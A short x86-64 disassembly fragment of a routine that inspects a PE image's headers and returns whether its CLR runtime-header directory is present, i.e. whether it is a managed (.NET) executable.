cmp word [rax], cx
jne 0x140048246
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140048246
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140048246
cmp dword [rcx + 0x84], 0xe
jbe 0x140048246
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140048248
xor al, al
add rsp, 0x28
ret